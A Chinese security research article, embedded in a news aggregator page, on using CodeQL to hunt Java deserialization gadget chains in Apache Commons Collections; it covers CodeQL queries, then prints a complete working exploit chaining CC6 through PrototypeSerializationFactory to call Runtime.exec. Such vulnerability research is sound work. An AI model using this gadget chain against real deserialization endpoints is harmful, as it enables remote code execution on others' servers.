最新要闻
- 【世界播资讯】水洼煮食物晾衣服生活中还遇到过哪些类似现象?
- 世界微资讯!安卓跑分要变天了!安兔兔V10公测版正式发布:分数要涨
- 世界速讯:突破封锁活下来了!华为88个子公司成功实现MetaERP切换:自主可控、全球上线
- 【报资讯】网易逆水寒手游彩蛋揭秘:日照金山宛如照片 这画质你敢信是手机能跑
- 搭载原相PAW3395旗舰传感器:雷柏推出VT9S无线鼠标
- 天天即时:红米平板2曝光:处理器换用骁龙680!主打极致性价比
- 六年级上册求阴影部分的面积及答案 六年级上册求阴影部分的面积_世界观速讯
- 以军在约旦河西岸打死3名巴勒斯坦人
- 焦点播报:用上比亚迪刀片电池 新款特斯拉Model Y海外下线:充电超猛
- 实时:吴刚《后浪》再登热搜:网友吐槽其侮辱中医
- AMD Yes还能饭否? RX 7600显卡性能偷跑:差得有点多 要闻速递
- 神车上新!新款比亚迪宋PLUS DM-i实车现身:装上海豹同款大灯
- 支付宝App可以换皮肤了!官方教程出炉:免费领
- 退休人员涨工资最新消息2023年 2023养老金上调4.5%是不是真的?
- 环球热头条丨内蒙古火车站乐手齐奏万马奔腾:旅客拍手叫好
- JDG战队FMVP选手knight:生日能拿到冠军特别开心
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
细谈使用CodeQL进行反序列化链的挖掘过程
此文章在SecIN安全技术社区首发
前言
学习了一下CodeQL的各种使用方式,决定使用CodeQL细谈一下CC链挖掘,通过一步一步的朝着我们既定的目标进行靠近,最终成功的找到了一条鸡肋的二次反序列化的入口
前奏
CodeQL本身包含两部分解析引擎+SDK。
解析引擎用来解析我们编写的规则,虽然不开源,但是我们可以直接在官网下载二进制文件直接使用。
(资料图片)
SDK完全开源,里面包含大部分现成的漏洞规则,我们也可以利用其编写自定义规则
安装
下载CodeQL执行程序
将SDK下载到同目录
cd ~/CodeQL&git clone https://github.com/Semmle/ql
之后将执行程序添加进入环境变量
然后再VScode中安装CodeQL插件,之后配置扩展,如果添加了环境变量就直接为空,没有添加就输入对应可执行文件的路径
简单使用
基本语法
类型
- 字符类型
String
存在类似于CharAt(0)的内置函数
- 整型与浮点型https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
- 日期型https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
- 布尔型
https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
从未被使用的参数
import javafrom Parameter pwhere not exists( p.getAnAccess() )select p
聚合使用
from Person twhere t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)select tselect max(Person p | | p order by p.getAge())min(Person p | p.getLocation() = "east" | p order by p.getHeight())count(Person p | p.getLocation() = "south" | p)avg(Person p | | p.getHeight())sum(Person p | p.getHairColor() = "brown" | p.getAge())
生成Database
Creating CodeQL databases — CodeQL (github.com)
codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/# 如何mvn编译报错使用 mvn compile -fn忽略错误
闭源构建数据库
闭源项目创建数据库,可以使用该工具:https://github.com/ice-doom/codeql_compile
- https://github.com/waderwu/extractor-java同样可以在windows中使用,将run.py中的codeql_home手工修改,而不是使用which命令得到路径
构建JDK
(34条消息) 编译OpenJDK8并生成CodeQL数据库_n0body-mole的博客-CSDN博客
导入Database
和SQL语言一样,我们执行QL查询,肯定是要先指定一个数据库才可以。
选中插件,之后配置生成的数据库
类库
名称 | 解释 |
---|---|
Method | 方法类,Method method表示获取当前项目中所有的方法 |
MethodAccess | 方法调用类,MethodAccess call表示获取当前项目当中的所有方法调用 |
Parameter | 参数类,Parameter表示获取当前项目当中所有的参数 |
简单使用
Method内置方法
method.getName() 获取的是当前方法的名称method.getDeclaringType() 获取的是当前方法所属class的名称。method.hasName() 判断是否有该方法 import javafrom Method methodwhere method.hasName("getStudent")select method.getName(), method.getDeclaringType()
谓词
predicate 表示当前方法没有返回值。exists子查询,是CodeQL谓词语法里非常常见的语法结构,它根据内部的子查询返回true or false,来决定筛选出哪些数据。 import javapredicate isStudent(Method method) {exists(|method.hasName("getStudent"))}from Method methodwhere isStudent(method)select method.getName(), method.getDeclaringType()//没有结果的谓词predicate isSmall(int i) { i in [1 .. 9]}//带有返回结果的谓词int getSuccessor(int i) { result = i + 1 and i in [1 .. 9]} //如果i是小于10的正整数,那么谓词的返回结果就是i后面的那个整数
设置Source Sink
什么是source和sink在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer)。source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source。sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它)。sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer。
设置source
override predicate isSource(DataFlow::Node src) {}// 通用的source入口规则override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
设置Sink
override predicate isSink(DataFlow::Node sink) { }// 查找一个query()方法的调用点,并把它的第一个参数设置为sinkoverride predicate isSink(DataFlow::Node sink) {exists(Method method, MethodAccess call | method.hasName("query") and call.getMethod() = method and sink.asExpr() = call.getArgument(0))}
Flow数据流
连通工作就是CodeQL引擎本身来完成的。我们通过使用config.hasFlowPath(source, sink)
方法来判断是否连通。
from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sinkwhere config.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink,系统就会自动帮我们判断是否存在漏洞了
命令行持续化使用规则
在编写了相应规则之后,就可以直接在命令行行中执行规则,检测其他项目
首先生成Database
之后通过我们编写的规则进行分析,输出为CSV文件
codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun
实例
使用jdbcTemplate.query
方法的SQL注入
import java import semmle.code.java.dataflow.FlowSourcesimport semmle.code.java.security.QueryInjectionimport DataFlow::PathGraphclass VulConfig extends TaintTracking::Configuration { VulConfig() { this = "SqlinjectionConfig" } override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } override predicate isSink(DataFlow::Node sink) { exists(Method method, MethodAccess call | method.hasName("query") and call.getMethod() = method and sink.asExpr() = call.getArgument(0)) }}from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sinkwhere vulconfig.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"
报错解决
如果存在Source
位置是List
类型的传参,这里是不可能存在SQL注入的我们可以使用TaintTracking::Configuration
提供的净化方法isSanitizer
override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType or node.getType() instanceof NumberType or exists(ParameterizedType pt | node.getType() = pt and pt.getTypeArgument(0) instanceof NumberType)}
复杂使用
instanceof优化查询结构
我们可以使用exists(|)这种子查询的方式定义source和sink,但是如果source/sink特别复杂(比如我们为了规则通用,可能要适配springboot, Thrift RPC,Servlet等source),如果我们把这些都在一个子查询内完成,比如 condition 1 or conditon 2 or condition 3, 这样一直下去,我们可能后面都看不懂了,更别说可维护性了。
instanceof给我们提供了一种机制,我们只需要定义一个abstract class
比如RemoteFlowSource抽象类的编写
/** A data flow source of remote user input. */abstract class RemoteFlowSource extends DataFlow::Node { /** Gets a string that describes the type of this remote flow source. */ abstract string getSourceType();}
CodeQL和Java不太一样,只要我们的子类继承了这个RemoteFlowSource类,那么所有子类就会被调用,它所代表的source也会被加载
存在非常多继承这个抽象类的子类,所以他们的结果会被and串联在一起
递归查询
CodeQL里面的递归调用语法是:在谓词方法的后面跟*或者+,来表示调用0次以上和1次以上(和正则类似),0次会打印自己
在Java语言里,我们可以使用class嵌套class,多个内嵌class的时候,我们需要知道最外层的class是什么怎么办?
非递归,知道嵌套的层数:
import javafrom Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType().getEnclosingType() // getEnclosingtype获取作用域
使用递归语法
from Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType+() // 获取作用域
代码分析平台CodeQL学习手记(七) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com
强制类型转换
import javafrom Parameter paramselect param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果
正文
这里主要是探讨由transform调用层面的挖掘
transform
我们通过codeql寻找transform方法的调用
class TransformCallable extends Callable { TransformCallable() { this.getName().matches("transform") and this.getNumberOfParameters() = 1 }}
可以看出来结果挺多的,之后我们人工排查一下
TransformedCollection
在TransformedCollection#transform的调用中存在可以调用其他transformer的transform方法的逻辑
没啥用,都已经可以调用任意transform了,还需要这一步吗?
ChainedTransformer
在ChainedTransformer#transform方法中存在iTransformers中的所有的transform的调用,这里也就是yoserial项目中的利用链****
CloneTransformer
在CloneTransformer#transform方法中存在, PrototypeFactory类实例化之后调用了create方法
我们跟进一下
代码中表示如果需要transformer的类存在clone方法,就会返回一个new PrototypeCloneFactory对象,之后调用他的create方法,如果没有就会进入catch语句,返回一个new InstantiateFactory对象,但是这里因为在其类中的create方法中参数不可控不能够利用
ClosureTransformer
在ClosureTransformer#transform方法中,存在Closure#execute方法的调用
Closure#execute
我们来查找一下有没有可用的实现了org.apache.commons.collections.Closure接口的类的execute调用
class ClosureCallable extends Callable { ClosureCallable() { this.getName().matches("execute") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") }}
我们一个一个来看下对应的execute方法
大概看了一下,发现不是this.iClosure.execute(input)调用就是this.iPredicate.evaluate(input)
只有一个TransformerClosure#execute方法中调用了transform,但是也不能形成利用链,最多算一个中转
ConstantTransformer
在ConstantTransformer#transform方法中,将会返回一个构造方法,同样在yoserial中有所利用
FactoryTransformer
在FactoryTransformer#transform方法中,调用了Factory接口的类的create方法查看一下满足条件的类把
Factory#create
class FactoryCallable extends Callable { FactoryCallable() { this.getName().matches("create") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") }}
进入看一看
InstantiateFactory
这里有一个InstantiateFactory类,好生熟悉,这不就是之前那篇文章中的CC链的挖掘,在其create方法中存在构造函数的实例化
例如已知的InstantiateFactory, 我们尝试挖掘一下
类似其中会调用TemplateImpl#newTransformer方法
/** * @kind path-problem */import javaclass ConstructCallable extends Callable { ConstructCallable() { this instanceof Constructor }}class MethodCallable extends Callable { MethodCallable() { this.getName().matches("newTransformer") and this.getDeclaringType().getName().matches("TemplatesImpl") }}query predicate edges(Callable a, Callable b) { a.polyCalls(b)}from MethodCallable endcall, ConstructCallable entrypointwhere edges+(entrypoint, endcall)select endcall, entrypoint, endcall, "find Contructor in jdk"
很合理我们得到了这个构造方法
虽然这里的iConstructor属性被transient修饰,但是在findConstructor中存在赋值
PrototypeSerializationFactory
之后有一个类为PrototypeSerializationFactory他是一个静态内部类
刚开始看的时候觉得这不纯纯一个二次反序列化的入口吗,直接跟进一下子代码
在其构造函数中有对iPrototype属性的赋值操作我们可以尝试直接将CC6拼接上去
import org.apache.commons.collections.Factory;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6_plus_plus { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ //仿照ysoserial中的写法,防止在本地调试的时候触发命令 Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(faketransformers); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformerChain); //实例化 TiedMapEntry tme = new TiedMapEntry(outMap, "key"); Map expMap = new HashMap(); //将其作为key键传入 expMap.put(tme, "value"); //remove outMap.remove("key"); //传入利用链 Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); Class c; c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory"); Constructor constructor = c.getDeclaredConstructor(Serializable.class); constructor.setAccessible(true); Object o = constructor.newInstance(expMap); FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o); ConstantTransformer constantTransformer = new ConstantTransformer(1); Map innerMap1 = new HashMap(); LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer); TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey"); Map expMap1 = new HashMap(); expMap1.put(tme1, "valuevalue"); setFieldValue(outerMap1,"factory",factoryTransformer); outerMap1.remove("keykey"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }}
能够成功执行,好吧,感觉挺鸡肋的,但是应该可以结合其他依赖,作为其他反序列入口来打,或者作为一个黑名单绕过
PrototypeCloneFactory
之后又是一个PrototypeCloneFactory#create方法中
似乎可以任意方法的调用,但是我们注意到
其被transient修饰,且不像InstantiateFactory中存在赋值操作,但是我们同样可以注意到其在调用findCloneMethod方法中的时候,取出了对应类的clone方法,如果clone方法有可以利用的是不是就可以形成利用链
我们查找一下clone方法存在的类
import javaclass CloneCallable extends Callable{ CloneCallable() { this.getName().matches("clone") }}from CloneCallable cselect c,c.getBody(), c.getDeclaringType()
在BeanMap中,对应的clone方法中存在newInstance的调用且其beanClass可控,但是是无参构造方法,无法形成利用链
其他的调用我简单看了一下,没有什么特别的地方
最后一个是ReflectionFactory的调用,同样是无参构造方法
InstantiateTransformer
而对于InstantiateTransformer#transform方法中可以进行InvokerTransformer的替代使用,可以触发一些类的构造方法
比如说TrAXFilter
InvokerTransformer
接下来就是ysoserial中存在的InvokerTransformer#transform方法中可以反射调用可控的方法
PredicateTransformer
而又在PredicateTransformer#transform方法中存在Predicate
接口实现类的evaluate方法
Predicate#evaluate
浅看一下对应类
import javaclass PredicateCallable extends Callable { PredicateCallable() { this.getName().matches("evaluate") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") }}from PredicateCallable c select c, c.getBody(), c.getDeclaringType()
都是一些没有亮点的东西
SwitchTransformer
之后SwitchTransformer#transform方法中,存在有类似ChainedTransformer#transform的功能
但是需要满足this.iPredicates[i].evaluate(input)为true,而且似乎这里只能调用一次transform,不能形成链子,也没有了意义
总结
链子没有挖出来什么比较新的链子,有一个比较鸡肋的二次反序列化的链子,但是主要还是体会这种使用静态分析工具辅助自己进行挖掘新链,这次主要是在CC链中进行transformer层面的深度挖掘,当然还可以在动态代理等等方面进行深层次的探索,又或者以来其他依赖库结合进行挖掘利用的方式也是可行的
关键词:
细谈使用CodeQL进行反序列化链的挖掘过程
世界观察:react-naive工作原理
债市日报:5月22日
【世界播资讯】水洼煮食物晾衣服生活中还遇到过哪些类似现象?
世界微资讯!安卓跑分要变天了!安兔兔V10公测版正式发布:分数要涨
世界速讯:突破封锁活下来了!华为88个子公司成功实现MetaERP切换:自主可控、全球上线
【报资讯】网易逆水寒手游彩蛋揭秘:日照金山宛如照片 这画质你敢信是手机能跑
搭载原相PAW3395旗舰传感器:雷柏推出VT9S无线鼠标
天天即时:红米平板2曝光:处理器换用骁龙680!主打极致性价比
六年级上册求阴影部分的面积及答案 六年级上册求阴影部分的面积_世界观速讯
分布式任务调度:xxl-job
全球速讯:湖北省荆州市沙市区领导参观考察璞华苏州总部
速读:论elasticsearch在Windows环境的安装
收评:两市窄幅波动沪指涨0.39% 供销社概念股领涨-焦点热议
以军在约旦河西岸打死3名巴勒斯坦人
焦点播报:用上比亚迪刀片电池 新款特斯拉Model Y海外下线:充电超猛
实时:吴刚《后浪》再登热搜:网友吐槽其侮辱中医
AMD Yes还能饭否? RX 7600显卡性能偷跑:差得有点多 要闻速递
神车上新!新款比亚迪宋PLUS DM-i实车现身:装上海豹同款大灯
支付宝App可以换皮肤了!官方教程出炉:免费领
MyBatis-Plus 可视化代码生成器来啦,让你的开发效率大大提速!!
比亚迪选用顶象无感验证,增强售后服务平台安全性
go语言变量定义及类型_焦点快看
【vue流程编辑器框架】Vue-Flowchart-Editor
揭秘百分比图的魅力:数据之美引领决策智慧
退休人员涨工资最新消息2023年 2023养老金上调4.5%是不是真的?
环球热头条丨内蒙古火车站乐手齐奏万马奔腾:旅客拍手叫好
JDG战队FMVP选手knight:生日能拿到冠军特别开心
当前热文:安卓最强性能!vivo X90S下月发布:搭载天玑9200+
今日视点:男子52次跟车式逃停车费2870元 结果惨了
【世界独家】怀柔温馨之家,欢迎你们!
时讯:【Java】引用传递?值传递?
看完这篇,DWS故障修复不再愁-全球热闻
【DSP视频教程】DSP视频教程第12期:TI开源分享IQmath DSP源码,适用于所有Cortex-M内核,本期教程做个手把手移植 (2022-05-22)
最全iOS 上架指南 全球微资讯
焦点滚动:(笔记)运放的带宽、增益带宽积、转换速率、反馈系统等概念理解
直击华尔街|Scott Redler解读华尔街一周:债务上限问题不会导致剧烈动荡 经济若衰退美联储需降息
李楠预测:手机的形态将迎来革命 这下网友有话说了
环球新资讯:清华大学女生获世界小姐选美冠军:谁说学霸就是丑 网友围观真美吗
底层重构 微软Win12最快明年问世:AI魔改搜索体验
使用ssh公钥密钥自动登陆linux服务器 环球快资讯
天天热消息:关于Excel表格中对多个General或者Number数值格式的单元转换为Text文本时-值包含E+的方法处理
世界最新:AI诈骗正在全国爆发!一公司老板10分钟被AI诈骗430万
全球要闻:专治PCIe 5.0发烧 利民SSD散热器到手99.9元(45W强悍散热)
今日关注:国内没人买?东风本田CR-V插混、e:NS1纯电车要卖到海外去了
环球播报:WPS AI再获升级:文档内容、格式规范一键生成
85%肉含量无淀粉 一口爆汁:火山石烤肠19.9元2斤大促
天准科技(688003.SH):机器视觉是一种非常通用的技术
Java使用HttpClient以multipart/form-data向接口上传文件
Seata 的可观测实践
直播源码技术录制功能知识
java 外壳加密,完美解决|全球看点
热文:个人养老金产品代销排行:招行、交行、平安暂居前三,优势还是烦恼?
全球观热点:开机先看电影?壁纸神器Wallpaper Engine惊现《流浪地球2》 网友吐槽缺德
世界即时看!路特斯被曝将试驾车当新车交付 车主:有全部证据 索赔385万
紫气东来!魅族20 PRO推出晨曦紫新配色:4399元起售 享3年质保
苹果神一样存在!iPhone彻底统治日本市场:份额超50% 安卓被摩擦-全球通讯
天天报道:小米Civi 3正面首曝:药丸曲面屏比iPhone 14 Pro更精致
南阳市新野县团结小学经典诵读展示活动成功举办
rt下降40%?程序并行优化六步法|天天最资讯
为什么MySQL单表不能超过2000万行?_环球动态
05-译码器
全球观焦点:消夏之夜购物节吸引百余商家汇聚 到场市民超过10万人次
每日讯息!OPPO Reno10影像称绝:全系标配长焦镜头
南宁路边停车一天收费上百 有车主欠费6.4万_当前快播
同调拼色设计辨识度拉满!小米Civi 3真机外观首秀来了 世界热闻
大内存大存储真香!新版真我GT Neo5官宣:16GB+1TB明日开售 报资讯
热点聚焦:国产视频剪辑软件取代PR?联想YOGA官宣与剪映独家合作
世界实时:【苗乡侗寨人物志】“想喝正宗酸汤,去凯里就对了”
Android Studio源码导入与调试_环球新资讯
天天快讯:From Java To Kotlin:空安全、扩展、函数、Lambda很详细,这次终于懂了
GPS北斗校时服务器(时间同步装置)助力桥梁检测系统建设
微动态丨HTTP1.0、HTTP1.1、HTTP2.0 协议的区别
时讯:出口货值增长近40倍!我国这个地方制造的汽车加速出口中亚→
焦点!拓邦发布钠离子电池:-40℃放电容量近80% 秒杀锂电
玩家化身手工耿血洗《塞尔达》:不仅造出了坦克飞机还要修仙
独悬变扭力梁、气囊也少了 新款丰田卡罗拉上市:11.68万起
国内营收占10%以上 美光成美国存储芯片独苗:内存全球第三_每日快看
新车下饺子!比亚迪宋Pro DM-i冠军版内饰官图发布:新配色真高级
优选营养素密度高的食物,合理膳食提升免疫力
c语言程序设计知识点总结03-精彩看点
没有5G卖4G的华为手机比苹果还牛:消息称逆势上调全年出货量目标 全行业第一家|天天精选
1499元!小度青禾学习手机开启预售:一机顶6台 立省1万元
热门看点:400年前的画里有男孩穿耐克鞋 网友称穿越:还有百年前画作出现iPhone
全红婵的水花让物理学不存在了 网友点赞:物理学对她不适用|全球观热点
一个月没找到 美国30吨爆炸性化学品铁路运输时丢失:科普硝酸铵理化性质-世界热点
快报:中国抗体-B(03681.HK):SM17新药研究申请获国家药监局药品审评中心受理
天天精选!交易商协会发布4月债务融资工具业务量统计和主承分类统计
印为何收回2000卢比纸币?专家:缓解银行流动性危机和加息压力
BLG夺《英雄联盟》MSI亚军 B站:BLG粉丝赠送一年大会员 全球微动态
比亚迪汉DM-i冠军版/DM-p战神版爆火!3天订单破1.3万辆:女车主高达37.2%
盖茨再爆与20多岁俄女子发生婚外情 遭美国淫魔富豪威胁 全球速看料
学系统集成项目管理工程师(中项)系列24a_信息系统集成专业技术知识(上)-当前播报
世界快播:雅顿橘灿精华使用方法 雅顿橘灿精华用在哪个步骤
JDG战胜BLG夺《英雄联盟》MSI冠军!官方发福利:皮肤免费送 全球头条
《王国之泪》开发之初没有剧情:优先考虑游戏体验-环球热消息
全国首个DNA存储领域预训练大模型 ChatDNA发布 今日快看
最新消息:[工具/资源] Web应用开发的基础工具与资源
全球观察:Pytest - pytest 命令(2) - 命令参数及含义
计算机组成原理:控制器实验|全球今亮点